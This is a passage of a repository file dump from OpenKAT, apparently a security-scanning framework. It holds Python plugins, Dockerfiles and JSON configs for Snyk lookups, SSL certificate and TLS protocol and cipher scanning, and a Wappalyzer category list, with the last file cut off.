Finding(\n            finding_type=kat_ooi.reference,\n            ooi=pk_ooi,\n            description=\"There was no version found for this software. \"\n            \"But there are known vulnerabilities for some versions.\",\n        )\n\n    # Check for latest version\n    latest_version = \"\"\n    for version in results[\"table_versions\"]:\n        if version.get(\"is_latest\"):\n            latest_version = version.get(\"Version_text\")\n\n    if software_version and latest_version and check_version.check_version_in(software_version, f\"<{latest_version}\"):\n        kat_ooi = KATFindingType(id=\"KAT-SOFTWARE-UPDATE-AVAILABLE\")\n        yield kat_ooi\n        yield Finding(\n            finding_type=kat_ooi.reference,\n            ooi=pk_ooi,\n            description=f\"You may want to update to the newest version. Your current version is {software_version} \"\n            f\"while the latest version is {latest_version}\",\n        )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk/normalizer.json",
    "content": "{\n  \"id\": \"kat_snyk_normalize\",\n  \"name\": \"Snyk.io\",\n  \"description\": \"Parses Snyk.io data into various findings.\",\n  \"consumes\": [\n    \"boefje/snyk\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"KATFindingType\",\n    \"SnykFindingType\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk/requirements.txt",
    "content": "requests == 2.33.0\nbeautifulsoup4 == 4.11.1\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk_finding_types/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk_finding_types/boefje.json",
    "content": "{\n  \"id\": \"snyk-finding-types\",\n  \"name\": \"SNYK Finding Types\",\n  \"description\": \"Hydrate information of SNYK finding types.\",\n  \"consumes\": [\n    \"SnykFindingType\"\n  ],\n  \"scan_level\": 0,\n  \"enabled\": true,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_snyk_finding_types.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk_finding_types/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk_finding_types/main.py",
    "content": "import json\nimport re\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    snyk_id = boefje_meta[\"arguments\"][\"input\"][\"id\"]\n    url_snyk = f\"https://snyk.io/vuln/{snyk_id}\"\n    page = requests.get(url_snyk, timeout=30)\n    soup = BeautifulSoup(page.content, \"html.parser\")\n    result = {\n        \"risk\": soup.select(\"[data-snyk-test-score]\")[0].attrs[\"data-snyk-test-score\"],\n        \"affected_versions\": soup.select(\"[data-snyk-test='vuln versions']\")[0].text.strip(),\n        \"summary\": soup.findAll(\"h2\", text=re.compile(r\"Overview\"))[0].parent.text.strip().split(\"\\n\")[2],\n    }\n\n    return [(set(), json.dumps(result))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk_finding_types/normalize.py",
    "content": "import json\nimport logging\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerAffirmation, NormalizerOutput\nfrom octopoes.models.ooi.findings import RiskLevelSeverity, SnykFindingType\n\nlogger = logging.getLogger(__name__)\n\n\nSEVERITY_SCORE_LOOKUP = {\n    RiskLevelSeverity.CRITICAL: 9.0,\n    RiskLevelSeverity.HIGH: 7.0,\n    RiskLevelSeverity.MEDIUM: 4.0,\n    RiskLevelSeverity.LOW: 0.1,\n    RiskLevelSeverity.RECOMMENDATION: 0.0,\n}\n\n\ndef get_risk_level(severity_score):\n    for risk_level, score in SEVERITY_SCORE_LOOKUP.items():\n        if severity_score >= score:\n            return risk_level\n    return None\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    snyk_finding_type_id = input_ooi[\"id\"]\n    data = json.loads(raw)\n\n    risk_score = data.get(\"risk\")\n    risk_severity = get_risk_level(float(risk_score))\n\n    yield NormalizerAffirmation(\n        ooi=SnykFindingType(\n            id=snyk_finding_type_id,\n            description=data.get(\"summary\"),\n            source=f\"https://snyk.io/vuln/{snyk_finding_type_id}\",\n            risk_severity=risk_severity,\n            risk_score=risk_score,\n        )\n    )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_snyk_finding_types/normalizer.json",
    "content": "{\n  \"id\": \"kat_snyk_finding_types_normalize\",\n  \"name\": \"Snyk.io finding types\",\n  \"description\": \"Parses Snyk.io data into Finding Types. Required for the Snyk Normalizer.\",\n  \"consumes\": [\n    \"boefje/snyk-finding-types\"\n  ],\n  \"produces\": [\n    \"SnykFindingType\"\n  ],\n  \"enabled\": true\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_certificates/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_certificates/boefje.Dockerfile",
    "content": "FROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/ssl-certificates:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nUSER root\nRUN apt-get update;\\\n    apt-get install -y --no-install-recommends wget build-essential libfindbin-libs-perl; \\\n    wget -O - https://github.com/openssl/openssl/releases/download/openssl-3.5.0/openssl-3.5.0.tar.gz | tar zxf -; \\\n    cd openssl-3.5.0; \\\n    ./config --prefix=/usr/local\nUSER nonroot\n\nCOPY ./boefjes/plugins/kat_ssl_certificates ./kat_ssl_certificates\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_certificates/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_certificates/boefje.json",
    "content": "{\n  \"id\": \"ssl-certificates\",\n  \"name\": \"SSLCertificates\",\n  \"description\": \"Scan SSL certificates of websites. Checks if certificates are valid and/or expired.\",\n  \"consumes\": [\n    \"Website\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-ssl-certificates:latest\",\n  \"oci_arguments\": [\n    \"s_client\",\n    \"-prexit\",\n    \"-showcerts\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_certificates/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_certificates/main.py",
    "content": "import subprocess\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    hostname = input_[\"hostname\"][\"name\"]\n    scheme = input_[\"ip_service\"][\"service\"][\"name\"]\n    ip_address = input_[\"ip_service\"][\"ip_port\"][\"address\"][\"address\"]\n    port = input_[\"ip_service\"][\"ip_port\"][\"port\"]\n\n    if scheme != \"https\":\n        return [({\"openkat/deschedule\"}, \"Skipping check due to non-TLS scheme\")]\n\n    cmd = (\n        [\"/usr/bin/openssl\"]\n        + boefje_meta[\"arguments\"][\"oci_arguments\"]\n        + [\"-host\", ip_address, \"-port\", port, \"-servername\", hostname]\n    )\n\n    output = subprocess.run(cmd, capture_output=True)\n    output.check_returncode()\n\n    return [({\"openkat/ssl-certificates-output\"}, output.stdout.decode())]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_certificates/normalize.py",
    "content": "import datetime\nimport ipaddress\nimport logging\nimport re\nfrom collections.abc import Iterable\n\nfrom cryptography import x509\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.asymmetric import ec, rsa\nfrom dateutil.parser import parse\n\nfrom boefjes.normalizer_models import NormalizerAffirmation, NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.certificate import (\n    AlgorithmType,\n    SubjectAlternativeName,\n    SubjectAlternativeNameHostname,\n    SubjectAlternativeNameIP,\n    SubjectAlternativeNameQualifier,\n    X509Certificate,\n)\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.service import IPService, Service\nfrom octopoes.models.ooi.web import Website\n\n\ndef find_between(s: str, first: str, last: str) -> str:\n    try:\n        start = s.index(first) + len(first)\n        end = s.index(last, start)\n        return s[start:end]\n    except ValueError:\n        return \"\"\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    # only get the first part of certificates\n    contents = find_between(raw.decode(), \"Certificate chain\", \"Certificate chain\")\n\n    if not contents:\n        return\n\n    pk = input_ooi[\"primary_key\"]\n\n    # extract all certificates\n    certificates, certificate_subject_alternative_names, hostnames = read_certificates(contents, Reference.from_str(pk))\n\n    # connect server certificate to website\n    if certificates:\n        tokenized = Reference.from_str(pk).tokenized\n        addr = ipaddress.ip_address(tokenized.ip_service.ip_port.address.address)\n        network = Network(name=tokenized.ip_service.ip_port.address.network.name)\n        if isinstance(addr, ipaddress.IPv4Address):\n            ip_address = IPAddressV4(address=addr, network=network.reference)\n        else:\n            ip_address = IPAddressV6(address=addr, network=network.reference)\n\n        ip_port = IPPort(\n            address=ip_address.reference,\n            protocol=Protocol(tokenized.ip_service.ip_port.protocol),\n            port=int(tokenized.ip_service.ip_port.port),\n            state=PortState.OPEN,\n        )\n        ip_service = IPService(\n            ip_port=ip_port.reference, service=Service(name=tokenized.ip_service.service.name).reference\n        )\n        hostname = Hostname(\n            network=Network(name=tokenized.hostname.network.name).reference, name=tokenized.hostname.name\n        )\n        website = Website(\n            ip_service=ip_service.reference, hostname=hostname.reference, certificate=certificates[0].reference\n        )\n\n        # update website\n        yield NormalizerAffirmation(ooi=website)\n\n    # chain certificates together\n    last_certificate = None\n    for certificate in reversed(certificates):\n        if last_certificate is not None:\n            certificate.signed_by = last_certificate.reference\n\n        last_certificate = certificate\n        yield certificate\n\n    # add all hostnames\n    yield from hostnames\n\n    # add all subject alternative names\n    yield from certificate_subject_alternative_names\n\n\ndef read_certificates(\n    contents: str, website_reference: Reference\n) -> tuple[list[X509Certificate], list[SubjectAlternativeName], list[Hostname]]:\n    # iterate through the PEM certificates and decode them\n    certificates = []\n    certificate_subject_alternative_names = []\n    hostnames = []\n    for m in re.finditer(\n        r\"(?<=-----BEGIN CERTIFICATE-----).*?(?=-----END CERTIFICATE-----)\", contents, flags=re.DOTALL\n    ):\n        pem_contents = f\"-----BEGIN CERTIFICATE-----{m.group()}-----END CERTIFICATE-----\"\n\n        cert = x509.load_pem_x509_certificate(pem_contents.encode(), default_backend())\n        try:\n            subject = cert.subject.get_attributes_for_oid(x509.OID_COMMON_NAME)[0].value\n        except IndexError:\n            subject = None\n        issuer = cert.issuer.get_attributes_for_oid(x509.OID_ORGANIZATION_NAME)[0].value\n        try:\n            subject_alternative_names = [\n                name.value for name in cert.extensions.get_extension_for_oid(x509.OID_SUBJECT_ALTERNATIVE_NAME).value\n            ]\n        except x509.ExtensionNotFound:\n            subject_alternative_names = []\n        valid_from = cert.not_valid_before_utc.isoformat()\n        valid_until = cert.not_valid_after_utc.isoformat()\n        pk_size = cert.public_key().key_size\n        logging.info(\"Parsing certificate of type %s\", type(cert.public_key()))\n        if isinstance(cert.public_key(), rsa.RSAPublicKey):\n            pk_algorithm = str(AlgorithmType.RSA)\n            pk_number = cert.public_key().public_numbers().n.to_bytes(pk_size // 8, \"big\").hex()\n        elif isinstance(cert.public_key(), ec.EllipticCurvePublicKey):\n            pk_algorithm = str(AlgorithmType.ECC)\n            pk_number = hex(cert.public_key().public_numbers().x) + hex(cert.public_key().public_numbers().y)\n        else:\n            pk_algorithm = None\n            pk_number = None\n\n        certificate = X509Certificate(\n            subject=subject,\n            issuer=issuer,\n            valid_from=valid_from,\n            valid_until=valid_until,\n            pk_algorithm=pk_algorithm,\n            pk_size=pk_size,\n            pk_number=pk_number,\n            website=website_reference,\n            serial_number=cert.serial_number.to_bytes(20, \"big\").hex(),\n            expires_in=parse(valid_until).astimezone(datetime.timezone.utc)\n            - datetime.datetime.now(datetime.timezone.utc),\n        )\n        # todo: alt names\n        certificates.append(certificate)\n\n        network_reference = Network(name=\"internet\").reference\n        certificate_reference = certificate.reference\n\n        for name in subject_alternative_names:\n            san = None\n            if isinstance(name, str):\n                if \"*\" not in name:\n                    hostname = Hostname(network=network_reference, name=name)\n                    hostnames.append(hostname)\n                    san = SubjectAlternativeNameHostname(hostname=hostname.reference, certificate=certificate_reference)\n                else:\n                    san = SubjectAlternativeNameQualifier(name=name, certificate=certificate_reference)\n            elif isinstance(name, ipaddress.IPv4Address):\n                address = IPAddressV4(network=network_reference, address=name)\n                san = SubjectAlternativeNameIP(address=address.reference, certificate=certificate_reference)\n            elif isinstance(name, ipaddress.IPv6Address):\n                address = IPAddressV6(network=network_reference, address=name)\n                san = SubjectAlternativeNameIP(address=address.reference, certificate=certificate_reference)\n            else:\n                pass  # todo: support other SANs?\n\n            if san is not None:\n                certificate_subject_alternative_names.append(san)\n\n    return certificates, certificate_subject_alternative_names, hostnames\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_certificates/normalizer.json",
    "content": "{\n  \"id\": \"kat_ssl_certificates_normalize\",\n  \"name\": \"SSL certificates\",\n  \"description\": \"Parses SSL certificates data into X509 certificates.\",\n  \"consumes\": [\n    \"boefje/ssl-certificates\",\n    \"openkat/ssl-certificates-output\"\n  ],\n  \"produces\": [\n    \"X509Certificate\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_scan/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_scan/boefje.Dockerfile",
    "content": "FROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/ssl-scan:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nUSER root\nRUN apt-get update && apt-get install -y --no-install-recommends git zlib1g-dev make gcc curl unzip ;\\\n    git clone --depth 1 https://github.com/rbsec/sslscan.git --branch 2.2.0 && cd sslscan;\\\n    make static && make install\nUSER nonroot\n\nCOPY ./boefjes/plugins/kat_ssl_scan ./kat_ssl_scan\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_scan/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_scan/boefje.json",
    "content": "{\n  \"id\": \"ssl-version\",\n  \"name\": \"SSLScan\",\n  \"description\": \"Scan SSL/TLS versions (protocols) of websites. Will result in findings if outdated SSL/TLS versions are identified such as SSLv3. \",\n  \"consumes\": [\n    \"Website\",\n    \"IPService\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-ssl-scan:latest\",\n  \"oci_arguments\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_scan/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_scan/main.py",
    "content": "import subprocess\n\nTLS_CAPABLE_SERVICES = (\"https\", \"ftps\", \"smtp\", \"smtps\", \"imaps\", \"pop3s\", \"ms-wbt-server\")\nSTARTTLS_CAPABLE_SERVICES = (\"pop3\", \"ftp\", \"imap\", \"smtp\", \"mysql\", \"ldap\", \"xmpp\")\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    hostname = None\n    if \"hostname\" in input_:\n        # we are dealing with a website\n        hostname = input_[\"hostname\"][\"name\"]\n        ip = input_[\"ip_service\"][\"ip_port\"][\"address\"][\"address\"]\n        port = input_[\"ip_service\"][\"ip_port\"][\"port\"]\n        servicename = input_[\"ip_service\"][\"service\"][\"name\"]\n    else:\n        # we are dealing with an IP-service\n        ip = input_[\"ip_port\"][\"address\"][\"address\"]\n        port = input_[\"ip_port\"][\"port\"]\n        servicename = input_[\"service\"][\"name\"]\n\n    if servicename not in TLS_CAPABLE_SERVICES + STARTTLS_CAPABLE_SERVICES:\n        return [({\"openkat/deschedule\"}, \"Skipping check due to non-TLS/STARTTLS service\")]\n\n    command = [\"/usr/bin/sslscan\", \"--no-colour\", \"--show-sigs\"]\n    if servicename in STARTTLS_CAPABLE_SERVICES:\n        command.append(f\"--starttls-{servicename}\")\n    elif servicename == \"ms-wbt-server\":\n        command.append(\"--rdp\")\n\n    if hostname:\n        command.extend([\"--sni-name=\", hostname])\n\n    target = f\"[{ip}]:{port}\"\n\n    command.extend([\"--xml=-\", target])\n    output = subprocess.run(command, capture_output=True)\n    output.check_returncode()\n\n    return [({\"openkat/ssl-scan-output\"}, output.stdout.decode())]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_scan/normalize.py",
    "content": "from collections.abc import Iterable\n\nimport defusedxml.ElementTree as ET\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    root = ET.fromstring(raw)\n    website_reference = Reference.from_str(input_ooi[\"primary_key\"])\n\n    protocols = []\n    for protocol in root.findall(\"./ssltest/protocol\"):\n        type_ = protocol.attrib[\"type\"]\n        version = protocol.attrib[\"version\"]\n        enabled = protocol.attrib[\"enabled\"] == \"1\"\n\n        protocols.append((type_, version, enabled))\n\n    if not any(protocol[2] for protocol in protocols):\n        # No protocol is enabled. This might happen if we send a hostname that\n        # is not configured for TLS. We shouldn't create a false positive\n        # finding for this.\n        return\n\n    if (\"ssl\", \"2\", True) in protocols:\n        kft = KATFindingType(id=\"KAT-SSL-2-SUPPORT\")\n        yield kft\n        yield Finding(finding_type=kft.reference, ooi=website_reference)\n    elif (\"ssl\", \"3\", True) in protocols:\n        kft = KATFindingType(id=\"KAT-SSL-3-SUPPORT\")\n        yield kft\n        yield Finding(finding_type=kft.reference, ooi=website_reference)\n    elif (\"tls\", \"1.0\", True) in protocols and (\"tls\", \"1.1\", False) in protocols:\n        kft = KATFindingType(id=\"KAT-TLS-1.0-SUPPORT\")\n        yield kft\n        yield Finding(finding_type=kft.reference, ooi=website_reference)\n    elif (\"tls\", \"1.1\", True) in protocols and (\"tls\", \"1.0\", False) in protocols:\n        kft = KATFindingType(id=\"KAT-TLS-1.1-SUPPORT\")\n        yield kft\n        yield Finding(finding_type=kft.reference, ooi=website_reference)\n    elif (\"tls\", \"1.0\", True) in protocols and (\"tls\", \"1.1\", True) in protocols:\n        kft = KATFindingType(id=\"KAT-TLS-1.0-AND-1.1-SUPPORT\")\n        yield kft\n        yield Finding(finding_type=kft.reference, ooi=website_reference)\n    elif (\"tls\", \"1.2\", False) in protocols:\n        kft = KATFindingType(id=\"KAT-NO-TLS-1.2\")\n        yield kft\n        yield Finding(finding_type=kft.reference, ooi=website_reference)\n    elif (\"tls\", \"1.3\", False) in protocols:\n        kft = KATFindingType(id=\"KAT-NO-TLS-1.3\")\n        yield kft\n        yield Finding(finding_type=kft.reference, ooi=website_reference)\n\n    fallback = root.find(\"./ssltest/fallback\")\n    if fallback is not None and fallback.attrib[\"supported\"] != \"1\":\n        kft = KATFindingType(id=\"KAT-NO-TLS-FALLBACK-SCSV\")\n        yield kft\n        yield Finding(finding_type=kft.reference, ooi=website_reference)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_ssl_scan/normalizer.json",
    "content": "{\n  \"id\": \"kat_ssl_scan_normalize\",\n  \"name\": \"SSL scan\",\n  \"description\": \"Parses SSL scan version data into findings.\",\n  \"consumes\": [\n    \"openkat/ssl-scan-output\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"Finding\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_testssl_sh_ciphers/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_testssl_sh_ciphers/boefje.Dockerfile",
    "content": "FROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/testssl-sh-ciphers:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nUSER root\nRUN apt-get update && apt-get install -y --no-install-recommends bsdmainutils procps git dnsutils\nRUN git clone --depth 1 https://github.com/testssl/testssl.sh.git --branch v3.2.1 testssl\nRUN ln -s /app/boefje/testssl/testssl.sh /usr/local/bin/testssl.sh\nUSER nonroot\n\nCOPY ./boefjes/plugins/kat_testssl_sh_ciphers ./kat_testssl_sh_ciphers\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_testssl_sh_ciphers/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_testssl_sh_ciphers/boefje.json",
    "content": "{\n  \"id\": \"testssl-sh-ciphers\",\n  \"name\": \"Testssl.sh Ciphers\",\n  \"description\": \"Checks the SSL and TLS ciphers of a website for any insecure ciphers that are offered.\",\n  \"consumes\": [\n    \"IPService\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-testssl-sh-ciphers:latest\",\n  \"oci_arguments\": [\n    \"--jsonfile\",\n    \"/tmp/output.json\",\n    \"--server-preference\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_testssl_sh_ciphers/boefjes-requirements.txt",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_testssl_sh_ciphers/description.md",
    "content": "# SSL Test Ciphers\n\ntestssl.sh is a free command line tool that checks a server's service on any port for the support of TLS/SSL ciphers, protocols as well as some cryptographic flaws. This boefje uses SSL Test to gather information about SSL Cipher Suites.\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_testssl_sh_ciphers/main.py",
    "content": "import os\nimport subprocess\nfrom ipaddress import ip_address\nfrom pathlib import Path\n\nTLS_CAPABLE_SERVICES = (\"https\", \"ftps\", \"smtps\", \"imaps\", \"pops\")\nSTARTTLS_CAPABLE_SERVICES = (\n    \"ftp\",\n    \"smtp\",\n    \"lmtp\",\n    \"pop3\",\n    \"imap\",\n    \"xmpp\",\n    \"telnet\",\n    \"ldap\",\n    \"nntp\",\n    \"postgres\",\n    \"mysql\",\n)\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    ip_port = input_[\"ip_port\"][\"port\"]\n    address = input_[\"ip_port\"][\"address\"][\"address\"]\n    servicename = input_[\"service\"][\"name\"]\n\n    if servicename not in TLS_CAPABLE_SERVICES + STARTTLS_CAPABLE_SERVICES:\n        return [({\"info/boefje\"}, \"Skipping check due to non-TLS/STARTTLS service\")]\n\n    cmd = [\"/usr/local/bin/testssl.sh\"] + boefje_meta[\"arguments\"][\"oci_arguments\"]\n\n    if servicename in STARTTLS_CAPABLE_SERVICES:\n        cmd.extend([\"--starttls\", servicename])\n\n    if ip_address(address).version == 6:\n        cmd.extend([\"-6\", f\"[{address}]:{ip_port}\"])\n    else:\n        cmd.append(f\"[{address}]:{ip_port}\")\n\n    env = os.environ.copy()\n\n    env[\"OPENSSL_TIMEOUT\"] = os.getenv(\"TIMEOUT\", \"30\")\n    env[\"CONNECT_TIMEOUT\"] = env[\"OPENSSL_TIMEOUT\"]\n    output = subprocess.run(cmd, capture_output=True, env=env)\n    output.check_returncode()\n\n    return [({\"openkat/testssl-sh-ciphers-output\"}, Path(\"/tmp/output.json\").read_bytes())]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_testssl_sh_ciphers/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\nfrom typing import Any\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.service import TLSCipher\n\n\ndef parse_cipher(cipher: dict) -> dict[str, Any] | None:\n    if cipher[\"id\"].startswith(\"cipher-tls\"):\n        parts = cipher[\"finding\"].split()\n\n        cipher_dict = {\n            parts[0]: {  # parts[0] is the protocol\n                \"cipher_suite_code\": parts[1],\n                \"cipher_suite_name\": parts[2],\n                \"key_exchange_algorithm\": parts[3],\n            }\n        }\n\n        # if key size is found\n        if parts[4].isdigit():\n            cipher_dict[parts[0]].update(\n                {\n                    \"key_size\": int(parts[4]),\n                    \"encryption_algorithm\": parts[5],\n                    \"bits\": int(parts[6]),\n                    \"cipher_suite_alias\": parts[7],\n                }\n            )\n        else:\n            cipher_dict[parts[0]].update(\n                {\"encryption_algorithm\": parts[4], \"bits\": int(parts[5]), \"cipher_suite_alias\": parts[6]}\n            )\n\n        return cipher_dict\n    else:\n        return None\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    ip_service_reference = Reference.from_str(input_ooi[\"primary_key\"])\n    output = json.loads(raw)\n    tls_dict: dict[str, list] = {}\n    for item in output:\n        cipher = parse_cipher(item)\n        if cipher:\n            for protocol, suite in cipher.items():\n                if protocol not in tls_dict:\n                    tls_dict[protocol] = []\n                tls_dict[protocol].append(suite)\n    if tls_dict:\n        yield TLSCipher(ip_service=ip_service_reference, suites=tls_dict)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_testssl_sh_ciphers/normalizer.json",
    "content": "{\n  \"id\": \"kat_ssl_test_ciphers_normalize\",\n  \"name\": \"SSL test ciphers\",\n  \"description\": \"Parses TestSSL data into TLS ciphers.\",\n  \"consumes\": [\n    \"openkat/testssl-sh-ciphers-output\"\n  ],\n  \"produces\": [\n    \"TLSCipher\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_testssl_sh_ciphers/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"TIMEOUT\": {\n      \"title\": \"TIMEOUT\",\n      \"type\": \"integer\",\n      \"description\": \"Timeout for requests in the test ssl script\",\n      \"default\": 30,\n      \"minimum\": 0\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/categories.json",
    "content": "{\n  \"1\": {\n    \"groups\": [\n      3\n    ],\n    \"name\": \"CMS\",\n    \"priority\": 1\n  },\n  \"2\": {\n    \"groups\": [\n      3,\n      4,\n      18\n    ],\n    \"name\": \"Message boards\",\n    \"priority\": 1\n  },\n  \"3\": {\n    \"groups\": [\n      5\n    ],\n    \"name\": \"Database managers\",\n    \"priority\": 2\n  },\n  \"4\": {\n    \"groups\": [\n      3\n    ],\n    \"name\": \"Documentation\",\n    \"priority\": 2\n  },\n  \"5\": {\n    \"groups\": [\n      6\n    ],\n    \"name\": \"Widgets\",\n    \"priority\": 9\n  },\n  \"6\": {\n    \"groups\": [\n      1\n    ],\n    \"name\": \"Ecommerce\",\n    \"priority\": 1\n  },\n  \"7\": {\n    \"groups\": [\n      3,\n      10\n    ],\n    \"name\": \"Photo galleries\",\n    \"priority\": 1\n  },\n  \"8\": {\n    \"groups\": [\n      3\n    ],\n    \"name\": \"Wikis\",\n    \"priority\": 1\n  },\n  \"9\": {\n    \"groups\": [\n      5,\n      7\n    ],\n    \"name\": \"Hosting panels\",\n    \"priority\": 2\n  },\n  \"10\": {\n    \"groups\": [\n      8\n    ],\n    \"name\": \"Analytics\",\n    \"priority\": 9\n  },\n  \"11\": {\n    \"groups\": [\n      3\n    ],\n    \"name\": \"Blogs\",\n    \"priority\": 1\n  },\n  \"12\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"JavaScript frameworks\",\n    \"priority\": 8\n  },\n  \"13\": {\n    \"groups\": [\n      3,\n      18\n    ],\n    \"name\": \"Issue trackers\",\n    \"priority\": 2\n  },\n  \"14\": {\n    \"groups\": [\n      10\n    ],\n    \"name\": \"Video players\",\n    \"priority\": 7\n  },\n  \"15\": {\n    \"groups\": [\n      3,\n      18\n    ],\n    \"name\": \"Comment systems\",\n    \"priority\": 9\n  },\n  \"16\": {\n    \"groups\": [\n      11\n    ],\n    \"name\": \"Security\",\n    \"priority\": 9\n  },\n  \"17\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"Font scripts\",\n    \"priority\": 9\n  },\n  \"18\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"Web frameworks\",\n    \"priority\": 7\n  },\n  \"19\": {\n    \"groups\": [\n      6\n    ],\n    \"name\": \"Miscellaneous\",\n    \"priority\": 10\n  },\n  \"20\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"Editors\",\n    \"priority\": 4\n  },\n  \"21\": {\n    \"groups\": [\n      3\n    ],\n    \"name\": \"LMS\",\n    \"priority\": 1\n  },\n  \"22\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Web servers\",\n    \"priority\": 8\n  },\n  \"23\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Caching\",\n    \"priority\": 7\n  },\n  \"24\": {\n    \"groups\": [\n      3\n    ],\n    \"name\": \"Rich text editors\",\n    \"priority\": 5\n  },\n  \"25\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"JavaScript graphics\",\n    \"priority\": 6\n  },\n  \"26\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"Mobile frameworks\",\n    \"priority\": 8\n  },\n  \"27\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"Programming languages\",\n    \"priority\": 5\n  },\n  \"28\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Operating systems\",\n    \"priority\": 6\n  },\n  \"29\": {\n    \"groups\": [\n      3\n    ],\n    \"name\": \"Search engines\",\n    \"priority\": 4\n  },\n  \"30\": {\n    